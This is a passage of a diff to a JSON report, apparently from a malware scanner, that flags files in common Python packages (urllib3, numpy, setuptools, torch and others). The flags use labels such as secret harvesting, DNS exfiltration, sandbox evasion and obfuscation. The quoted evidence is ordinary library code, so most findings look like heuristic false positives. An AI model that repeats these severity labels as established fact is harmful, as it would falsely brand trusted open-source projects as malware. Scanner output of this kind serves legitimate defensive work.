L1403: \"Body should be http.client.HTTPResp" + "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", + "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" }, { "package": "urllib3", "file": "urllib3/util/ssl_.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket," + "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", + "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" }, { "package": "attrs", "file": "attr/_make.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)" + "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", + "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" }, { "package": "beartype", "file": "beartype/_util/func/utilfuncmake.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)" + "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", + "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" }, { "package": "botocore", "file": "botocore/vendored/six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "cffi", "file": "cffi/setuptools_ext.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)" + "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", + "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" }, { "package": "ddgs", "file": "ddgs/dht/libp2p_client.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", - "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")" + "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", + "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" }, { "package": "dill", "file": "dill/_dill.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')" + "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", + "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" }, { "package": "dill", "file": "dill/source.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals" + "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", + "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" }, { "package": "dnspython", "file": "dns/query.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", - "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"]," - }, - { - "package": "execnet", - "file": "execnet/gateway_base.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"\", \"exec\")\nExec: L1291: exec(co, loc)" - }, - { - "package": "execnet", - "file": "execnet/script/socketserver.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)" + "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", + "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" }, { "package": "fastmcp-slim", "file": "fastmcp/server/auth/providers/jwt.py", "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", "severity": "HIGH", - "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))" + "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", + "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" }, { "package": "ipython", "file": "IPython/core/debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)" - }, - { - "package": "ipython", - "file": "IPython/core/debugger.py", - "check": "exec/eval with payload hidden in a docstring/string", - "severity": "HIGH", - "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after" + "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", + "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" }, { "package": "ipython", "file": "IPython/core/debugger_backport.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)" + "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", + "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1213: exec(cod" + "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)" + "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" }, { "package": "jinja2", "file": "jinja2/environment.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)" + "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", + "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" }, { "package": "matplotlib", "file": "matplotlib/sphinxext/plot_directive.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L368: compile(text, '', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)" + "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", + "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L440: time.sleep(300)" + "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", + "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" }, { "package": "networkx", "file": "networkx/utils/decorators.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)" + "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", + "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" }, { "package": "numba", "file": "numba/np/ufunc/array_exprs.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)" + "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", + "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)" + "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)", + "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" }, { "package": "numba", "file": "numba/tests/test_firstlinefinder.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)" + "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", + "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" }, { "package": "numba", "file": "numba/tests/test_funcdesc.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)" + "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", + "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" }, { "package": "numba", "file": "numba/tests/test_import.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))" + "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", + "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" }, { "package": "numba", "file": "numba/tests/test_np_functions.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)" + "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)", + "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)" + "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)" + "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", + "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" }, { "package": "numpy", "file": "numpy/tests/test_public_api.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)" + "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", + "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" }, { "package": "pillow", "file": "PIL/Image.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:" + "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:", + "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": "Unusually large executable .pth (539 bytes)", "severity": "HIGH", - "evidence": "1 import line(s) in 539-byte .pth file" + "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", + "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)" + "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)" + "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")" + "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", + "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" }, { "package": "scipy", "file": "scipy/optimize/_optimize.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):" + "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", + "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" }, { "package": "setuptools", "file": "pkg_resources/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam" + "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", + "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" }, { "package": "setuptools", "file": "setuptools/_distutils/compilers/C/base.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):" + "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):", + "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" }, { "package": "setuptools", "file": "setuptools/launch.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)" + "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", + "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" }, { "package": "setuptools", "file": "setuptools/tests/config/test_pyprojecttoml.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\"," + "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", + "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" }, { "package": "setuptools", "file": "setuptools/tests/test_editable_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)" + "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)", + "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" }, { "package": "setuptools", "file": "setuptools/wheel.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra))," + "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", + "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" }, { "package": "six", "file": "six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)" + "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", + "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" }, { "package": "sympy", "file": "sympy/plotting/experimental_lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)" + "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", + "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" }, { "package": "sympy", "file": "sympy/utilities/lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)" - }, - { - "package": "tensorboard", - "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", - "check": "Python wheel ships large JS bundle (uncommon; manually review)", - "severity": "HIGH", - "evidence": "" + "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", + "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" }, { "package": "torch", "file": "torch/_dynamo/bytecode_debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)" + "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)\nExec: L683: result = eval(arg, frame_globals, eval_locals) | L708: result = eval(cmd, frame_globals, eval_locals) | L716: exec(cmd, frame_globals, eval_locals)", + "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" }, { "package": "torch", "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)" + "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", + "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" }, { "package": "torch", "file": "torch/fx/experimental/rewriter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)" + "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: 